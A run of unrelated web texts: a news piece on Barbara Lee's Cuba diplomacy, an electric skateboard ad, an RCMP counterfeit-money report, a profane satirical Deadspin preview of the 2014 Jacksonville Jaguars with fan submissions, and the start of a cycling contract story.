Since then, Lee has been a catalyst for establishing direct flights from Oakland to Havana in 2011, and has paved the way for hundreds of American students to study medicine there. She has facilitated visits by an Oakland amateur baseball team to Cuba and led trips for clergy, educators and legislators to help them understand the concerns, the economy and the people of the island.
Lee is hugely popular with progressives — her vote against the Iraq War still prompts many Bay Area liberals to slap “Barbara Lee speaks for me” bumper stickers on their cars — but she’s also been sharply criticized by conservatives who say she ignores the Castro brothers’ human rights abuses.
“The left views this as an island that should be opened up, and (they say) if we shine a light on it, everything will be fine... and the right views it as a dictatorship that does very bad things to its people,” said Bill Whalen, a fellow with the conservative Hoover Institution at Stanford University.
Lee’s close contacts with Castro help him mask the fact that “he jailed his people, he has cracked down on religion, he is anti-gay rights,” Whalen argues. “How this guy could be a hero to the Democratic establishment escapes me.”
LGBT leaders agree that Cuba’s record on gay rights is lacking, but some of them say strengthening ties with the U.S. might help.
Opening a direct line
“Opening communication and personal interactions with Cuban LGBTs will change what we know, how we know it, and how to respond to the breadth and depth of the needs of our hermanas y hermanos en Cuba,” said Gloria Nieto, a South Bay LGBT activist. “Personally, I look forward to hearing directly from the island, not through cultural or revolutionary or anti-Castro filters.”
Lee insists she hasn’t pulled any punches when discussing such issues with the Castros.
“I’ve met with the leaders of the human rights movement there,” she said. “I’m not carrying the Cuban flag.”
Lee hopes Obama will make a trip himself to Havana before he leaves office or that Raul Castro will visit Washington. She said she expects Republicans to do what they can in Congress to block normalization of relations, perhaps by denying funding for a U.S. embassy in Havana or refusing to confirm an ambassador to Cuba. Those actions, she said, will not deter her decades-long drive to lift the embargo.
“It is in our own national security interests” to boost trade and push for human rights improvements, Lee said. “So you can’t let up.”
Carla Marinucci is a San Francisco Chronicle senior political writer. E-mail: cmarinucci@sfchronicle.com Twitter: @cmarinucciBy a certain age, we learn that time is our most precious asset. We also find out how easy it is to have it stolen. Sometimes we even realize that obsessively saving time isn't much better. Our greatest “time-savers” take as often as they give: connectivity, cars and buses, and fast cheap bargains. Multitasking is the worst offender of all.
Steven, 45 years old, business man, rookie longboarder, always dreamt of learning to surf"Time is life itself, and life resides in the human heart”Spend time - stop saving it.
The molasses of “rush” hour gridlock, every morning and every evening, is a grey limbo where we’re not really at work, but not exactly having fun either. Our vacations stutter and splinter with each e-mail that skitters in through hotel wifi. Aided and abetted by routine, the minutes we believed were ours slip away. Grand theft auto-nomy.
It’s about time. Time to take it back.“Calendars and clocks exist to measure time, but that signifies little because we all know that an hour can seem as eternity or pass in a flash, according to how we spend it.”
Commuting with an electric skateboard over the last two years, I transformed my bus trip to work into play, carving up the “concrete wave” twice daily like cool slices of vacation. Using the bike lanes, a fast stroller and a bit of imagination, taking a little someone along just doubles the fun.
But you can't truly have a good time if your mind and spirit are going north and south. I chose Mellow as my next ride because its solid German build promises to keep me rolling worry-free, whether it's back and forth from work or just circles in the park. The fast charger and instant battery swap let me stay out there as long and as far as I want.
While justice occasionally does catch up to time thieves,why wait around? Taking back time that’s ours can be an everyday affair.
Just stay Mellow.
Quotes are excerpts from “Momo”, an strangely accurate fantasy about time thieves by Michael Ende, a German (Bavarian!) author best known for his novel “The Neverending Story”.
Or read the stories of Steven and Fabi, other real people who chose Mellow.
Find out how to binge on play instead of work -.Counterfeit Canadian cash emblazoned with Chinese characters have been seized in communities across Canada, and surfaced for the first time last month in Red Deer.
The bills are printed on paper and covered with Chinese lettering, RCMP said in a news release.
Police seized 37 counterfeit Canadian $100 bills and 12 counterfeit $20 bills during a stolen vehicle investigation in Red Deer earlier this month, RCMP said.
On Oct. 19, shortly before 6:30 p.m., police located a stolen white Honda Civic outside an apartment building in the Johnstone Crossing neighbourhood.
The driver tried to evade police in the stolen car, but surrendered to officers after he smashed into a parked vehicle.
Officers at the scene chased a man and a woman seen running from the vehicle into an apartment building.
RCMP did not locate the two passengers but found a shotgun abandoned in the building stairwell.
Police seized two more shotguns from the recovered Civic, one of which was loaded.
The Honda Civic had been reported stolen in Red Deer on Sept 24, and had been involved with numerous crimes across central Alberta, including four gas-and-dash incidents, two high-speed chases, and a shoplifting investigation.
Charges are pending against a 25-year-old Red Deer man.Some people are fans of the Jacksonville Jaguars. But many, many more people are NOT fans of the Jacksonville Jaguars. This 2014 Deadspin NFL team preview is for those in the latter group.
Your team: Jacksonville Jaguars
Your 2013 record: 4-12, but with a scorching hot 4-4 finish, people. MOMENTUM. Combined record for the Jags over the past three years: 11-37. The Jaguars also had the worst point differential in football last season, making them the token team I use for any and all "could the best college team beat the shittiest NFL team?" hypotheticals. Could Florida State beat the Jaguars? SURE. Why not? Who gives a shit at this point, really?
I know the Texans had a worse record last season, but that felt like some kind of tragic accident. When the Jaguars are shitty, they put intense preparation and care into it. Their shittiness is the residue of design.
Your coach: Bart Hunkley. No, wait. Darv Mandley. No, wait. Vern Monkey. No, wait. Mike Mularkeybarkey. No, wait. Garb Boney. No, that's not quite right. Gus Bradley! That's it! Gus Bradley sounds like a computer-created coach in Madden's franchise mode.
Your quarterback: AAC mack daddy Blake Bortles. Yes, while the rest of the NFL carefully deduced that this year's QB crop was wildly overvalued, the Jaguars struck a courageous blow for irrational exuberance and reached desperately for Bortles at No. 3. Why draft Bortles so high? Well, because he looks like a quarterback, doesn't he? He's so tall! And white! And … uh … tall! He's like Warren G. Harding in quarterback form.
(Is there some sort of law that every YouTube highlight reel has to include horrible music?)
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Anyway, you can hardly blame the Jaguars for throwing themselves on the first quarterback to walk into the bar. They just spent three years with Yo Gabba Gabbert. Spend that much time with Gabbert and you'll hump the first guy on the street who's over six feet tall and can complete a 15-yard out route. Bortles isn't Gabbert! By order of natural law, ANYTHING NOT GABBERT MUST BE BETTER THAN GABBERT.
By the way, Bortles is not technically the starter yet (partially because he might suck at, like, throwing!). That honor goes to plug-'n'-play button-masher Chad Henne:
"It's Chad," coach Gus Bradley said emphatically after the team's first practice last week. "We feel really good about him."
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Sure you do, fella. Sure you do. I like the "emphatically" there. I want my coach 100 percent behind Chad Henne or not at all. NFL teams always do this. They draft someone high, and then they make a big show of declaring the dipshit journeyman who's already there to be the "firmly entrenched" starter, so that the coach can create some kind of illusion of being competitive right now. Then the rookie takes over in Week 3 and the process of going 4-12 is complete. Does it really help Bortles to go through all this nonsense? "You're gonna be a star here, kid. But first, you must defeat HENNE. If you can beat out Henne, you can beat out the world!" Don't patronize us, Jaguars.
Also, kudos to Bortles for replacing Brody Croyle as the quarterback who gets the most "DURRRR HIS GIRLFRIEND IS A SMOKESHOW I WOULDN'T KICK HER OUTTTA BED" mentions on Twitter.
What's new that sucks: Gone are the days when you drafted Maurice Jones-Drew in your fantasy league and prayed that he cobble together 1,200 yards and 10 touchdowns using little more than a discarded fountain pen and some baling wire. MJD is gone and bell-cow duties have been turned over to … Toby Gerhart? AHAHAHAHA ARE YOU FUCKING JOKING? You could compile a fumble reel of Gerhart that would last longer than shooting schedule for Boyhood. Gerhart is the kind of back who will fumble, pick up the fumble, and then fumble that fumble again. He's a fumbling master. In one game, I saw him fumble three times in a single quarter. So have fun with that, Jacksonville. Toby Gerhart. Christ.
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What has always sucked: As always, it is an exercise in existential pretzel-knotting to summon any kind of feeling about the Jaguars. Apart from Bortles coming on board and the two second-round wideouts the team drafted to help him out, not much has changed with this team from a season ago. It's still owned by an Indiana Jones villain. Justin Blackmon is still suspended forever. Paul Pusluzynyzyewskizyzzyzzaxxon is still around to hurt himself. Luke Joeckel will probably get hurt just before we're all ready to officially declare him a bust. The team still sucks at drafting. Even Marcedes Lewis is still on the team because the Jaguars signed him to the worst contract ever gifted to a tight end. The new helmets still look like an alien's receding hairline. The most noticeable difference is that we have now learned that playing for the Jags will give you a stroke. As of right now, the Jaguars' main goal is to reach the competence level of the Falcons, which is so, so sad.
It wasn't always this way. The Jaguars have had their moments, man. This is the team that ended the careers of both Dan Marino and Jimmy Johnson in one fell swoop, for which I am eternally grateful. Silky Garrard once dumped the Steelers in the playoffs in front of all their shrieking dickhead fans. And their divisional playoff win over the Broncos back in 1996 was one of the coolest upsets ever. Loogit how happy all the trashy Jiggywire fans are!
This was back when Mark Brunell was their best player (technically, he still would be if he were on the roster). FUN FACTS: Brunell has an entire section of his Wikipedia page titled "Christian Life," and, sadly, he represents the peak of the franchise's existence. Since the age of two, it's pretty much been a downward progression for Jacksonville. Unlike their expansion siblings in Carolina, which has the requisite Super Bowl appearance and suitbully owner to qualify as a legitimate NFL franchise, the Jaguars don't really feel like they belong here. They feel like an af2 team that got promoted to the NFL by accident. They are the old storefront in your neighborhood that is BEGGING to be torn down. You drive by it and you're like, "When are they gonna tear that place down and put in a Chick-fil-A"? You know it's a matter of time, but the permits haven't been approved yet.
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Get yourself a star quarterback and a handful of playoff appearances and you can make any NFL city feel relevant. Even a city as pointless as Jacksonville. Here is a photo of the town's historic Great Ditch!
This city's only purpose is to stage the Georgia-Florida game. It is a temporary fairground that people decided to live in for some reason. But it COULD have a decent NFL team if the Jaguars ever managed to get their shit together, which will probably never happen. They are installing swimming pools at the stadium, which is the universal signal for "we know you're not here to watch the game." At some point, the Jags will be forced to play in the parking lot while the team sets up a miniature Ferris Wheel on the main field to get people to show up.
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What might not suck: If everything goes right and Bortles turns out to be decent and Marquis Lee turns out to be a dangerous receiving threat who WON'T drink a bottle of Robitussin and go out to play mailbox baseball in a convertible, the Jags could be a playoff team sometime around 2017. So yay!
Hear it from Jaguars fans!
Aaron:
If a head coach lost to the Jaguars in 2013, that coach was fired.
Michael:
There aren't even any jaguars in Jacksonville. It doesn't make any sense.
Zach:
1. Blaine Gabbert 2. Blaine Gabbert 3. Byron Leftwich 4. Blaine Gabbert 5. Before the draft this year, a friend asked me who had the most "Gabbert Potential". I responded with Blake Bortles.
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Laurence:
The ownership, past or present, has never believed in us. The proof is in the money. We're consistently #1 in cap space — as of right now we're $5 million ahead of the Browns — and as a result, the team feels like a minor league squad. It's not that they suck; it's just that it feels like they don't even belong in the NFL. When you're "locking up" players like Ziggy Hood and Toby Gerhart (and giving the latter an immediate starting role), you give the impression that you simply don't have the same standard as other teams. The players don't believe in us. Aaron Ross used us for a free one-year vacation to Florida (and some paid leave to go see his wife in the Olympics). Maurice Jones-Drew — arguably our best player for five years — constantly belittled his own team (at one point calling himself a "decoy"), and then he held out of training camp in 2012 with TWO YEARS left on his mega-bucks contract. Two years! The fans and analysts don't believe in us. When we drafted Blake Bortles as the first QB overall, people pretended to not even know who he is, and they called it a reach, even when all the mock drafts had him going Top 5. And it probably WILL end up being a reach, because it's the Jaguars. If the Saints or Patriots had traded up for Bortles, you know that everyone would be crowning him. But it's the Jaguars. We drafted Blaine Gabbert, Byron Leftwich, Derrick Harvey, Matt Jones, R. Jay Soward, Reggie Williams, Tyson Alualu, Justin Blackmon...we are an elephant graveyard for first round picks. And we value "speed" in our receivers if you know what I mean. Jones, Blackmon, Soward, Williams...all first-round wideouts, all out of the league for drugs.
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Shane:
The stadium will probably have the second-rate Red Zone Channel without Andrew Siciliano. Jacksonville cannot have nice things.
Aaron, again:
- Our wide receivers are either in rehab or rehabbing their hammies on the sidelines. - Everyone who wants the team to pull a Russell Wilson with Bortles is afraid of pulling a Russell Wilson with Bortles because look what happened when Gabbert did it. - We don't know who's playing center and opening day is slightly over a month away. - Third-round punter (previous administration blunder)
Andrew:
We last made the playoffs in 2007 and it hasn't even been close since then. Our list of WR drug-related offenses is so utterly consistent and tragic that I would think it's funny if I didn't have to watch the losers and undrafted free agents that we play in their stead. Seriously, did you see who got starts at WR last year???? Kerry Taylor was our leading receiver in week 17 last year and I have no idea who that is. His NFL.com photo has what looks like a Packers uniform, so I suspect we stole him from their practice squad and started him. Similarly, our list of failed pass-rushers these past 8 years is also completely hilarious. Derrick Harvey, Quentin Groves, Tyson Alualu...we haven't had a competent pass rush since Favre was still a Packer. Andddddddddddddd the quarterbacks. Dear God, the quarterbacks. We paid David Garrard a ton of money based on one lucky-ass season cause WHY THE HELL NOT? Then we drafted Blaine Gabbert (over getting JJ Watt). The fact that Chad Henne is the most competent QB we've trotted out in like 3 years is a bad, bad sign. Good luck, Bortles. We drafted a goddamned punter 5 spots before Russell Wilson. We're never, ever living that shit down.
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Chris:
Let's go with how this fanbase might be the most overly defensive, arrogant jackasses out of all NFL fanbases. They've embraced their smallness to the point where they yell out DUVALLLLL (the county Jacksonville is in) in proud unison as if this sign of solidarity isn't the dumbest fan chant since people realized they could chant "bullshit" at referees. Make a crack on Twitter about the team and all 20 fans will rush to tell you how you're an idiot and no nothing about their pathetic excuse of a team. I chose to become a fan of this team when I was six. Six year old me was a dick.
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Eli:
Remember Crystal Pepsi? The 2014 Jacksonville Jaguars are the Crystal Pepsi of the NFL. It's the team no one likes, now in a fresh new look! You've never seen a team like this! Cue the Van Halen. Every decision is like some calculated corporate marketing plan on how to better sell this product to a dwindling fan base that has grown increasingly disillusioned from years of ineptitude. Last year it was new uniforms, a new coaching staff, and new GM – you know, all of the clichéd excitement of the "new era" that all bad teams go through every 3-5 years. When have the Patriots or the Packers ever celebrated a "new era?" Answer: they don't. They just keep right on pissing excellence, while the bottom-dwellers like the Jags have to manufacture fan excitement through not-even-thinly-veiled marketing ploys like getting new uniforms. This year's draft was a blatant attempt to grow the fan base in Orlando by drafting Bortles (from UCF) with the #3 pick, even though that was a consensus reach who is not even close to being ready for prime time. They've already committed to having him ride the pine all year behind Chad Henne of all people. Now they've added swimming pools and giant jumbotrons (jumbo-jumbotrons!) to the stadium, all to improve the "fan experience." Hey, you know what really improves the fan experience? Winning football games. Nothing changes the fact that the actual product on the field will stumble, stutter, and fart its way to a 4-12 record. This is the team that replaced the only good offensive skill position player, MJD, with Toby Freaking Gerhart. This is the team that signed a bunch of Seahawk retreads and a Seahawks defensive coordinator (gee, their defense was pretty good this past year without him), and have the audacity to call themselves "Seattle South." This is a team that willingly agreed to play four "home" games in London, then claimed it was an effort to "grow the franchise internationally" and "sell Jacksonville to the world," and not a transparent attempt to grease the skids to one day move the team there permanently. Seriously, read this article and try not to vomit.
This is the team that waited until the year after the Luck/RGIII sweepstakes to have the worst record in football. This is the team that passed on Dez Bryant due to character issues, and then drafted Justin Blackmon two years later. I could go on. And that's just in the past 5 years. It's all smoke and mirrors. Pay no attention to the team on the field! Take a refreshing dip in the swimming pool! Laugh at the man with the silly mustache! This team could be a case study in manipulating public perception. Big Coal and Phillip Morris should take notes from these guys. And the worse part – it's working. People are buying it, and not just in Jacksonville. If I read one more article calling the Jags the next surprise playoff team, I'm going to call the fraud hotline.
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Zach:
Because drafting a punter in the third fucking round was somehow only the second stupidest idea to come out of Jacksonville in 2012.
John:
I am loathe to bring up my allegiance with non fans as it will STILL inevitably lead to the diarrhea of TIM TEBOW WOULD PUT BUTTS IN SEATS.
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Brad:
I give you the lowest-rated teams in Madden 15: Jacksonville Jaguars – 73 Oakland Raiders – 72 How bad is it when your team not only sucks in real life, but in a video game as well? You can't even escape into a fantasy world, because your team is terrible there as well.
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Ross:
"They should have gotten Tebow!" Hearing people constantly tell you that your talent-starved team needed to pick up one of the worst QBs in recent memory as some sort of miracle-worker has to be the most frustrating thing ever. Oh well, once Irsay has to sell Andrew Luck for bail money, the division should be ours.
Adam:
All our receivers apparently sit around getting high together like the basement scenes on That 70s Show.
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Lowell:
The Jacksonville Jaguars best player, Justin Blackmon, is a raging alcoholic who's suspended for the season. Our second best player is the fucking punter who was drafted in the third round, five spots ahead of Russell Wilson. The Jaguars drafted Blake Bortles third overall with the expectation that he sit behind Chad Henne — of the Not Peyton Manning Hennes. The Jaguars finished tied for dead ass last in sacks last year despite DOUBLING their sack total from 2012. I guess the front office is a "glass half full" group, because the Jaguars didn't draft a pass rusher until the fifth round of this year's draft. Not that a pass rusher is really needed by a team who plays Andrew Luck twice every year. So, no offense, no defense, the Jaguars are going to suck in 2014. I miss David Garrard.
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Mitch:
I'm from London, and I don't want anything to do with them.
AFC South: Titans | Jaguars | Texans | Colts
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NFC South: Falcons | Buccaneers | Panthers | Saints
AFC West: Chargers | Chiefs | Raiders | Broncos
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NFC West: Rams |Cardinals | 49ers | Seahawks
AFC North: Steelers | Bengals | Browns | Ravens
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Wanna be part of the Deadspin NFL previews? It's simple. Just email me and give me ample evidence of why your team sucks: personal anecdotes, encounters with fans, etc. I'll throw any good material into the post and give you proper credit. Next team up: Houston Texans.Both Australians confirmed with squad through 2015
Mitchell Docker and Leigh Howard have both extended their contracts with Orica-GreenEdge for another two years, the team has announced. Both Australian riders have been part of the Australian ProTeam since its inception in 2012, having come from the different backgrounds of Skil-Shimano and HTC-Highroad respectively, and will both remain with the squad through 2015.
After a strong Classics season in his final year with Skil-Shimano - where he took sixth in Gent-Wevelgem and 15th in Paris-Roubaix - Docker’s time with Orica-GreenEdge began badly as a bad crash in the team’s January 2012 training camp saw him sidelined for four months.
“I was really happy with the support the team gave me when I was coming back from my injuries,” said Docker. “There was never any pressure to return quickly. I think I was able to repay them this year with some good riding in the support roles that I had.
“Looking ahead, I feel good about the way the team has said they want to continue to develop me,” he continued. “We’ve begun to talk more specifically about my programme, and I’m excited by everything they have in store for me.”
Sprinter Howard took one victory in 2012, his first season with the team, but began 2013 by winning two of the races of the Challenge Mallorca: the Trofeo Migjorn and Trofeo Platja de Muro. While he wasn’t able to raise his arms again during the season, he feels that he is making steady progress with the Australian squad.
“It has been a dream come true to race for an Aussie team,” said Howard. “Every year has been slightly better. I’ve gotten stronger and scored more results each year.”
“At Paris-Nice I got support from guys like Simon Clarke and Simon Gerrans,” recalled Howard. “They are awesome riders but not pure lead-out men. We managed to come in with the most perfect lead-out you could imagine in one of the early stages of the race. It shows what |
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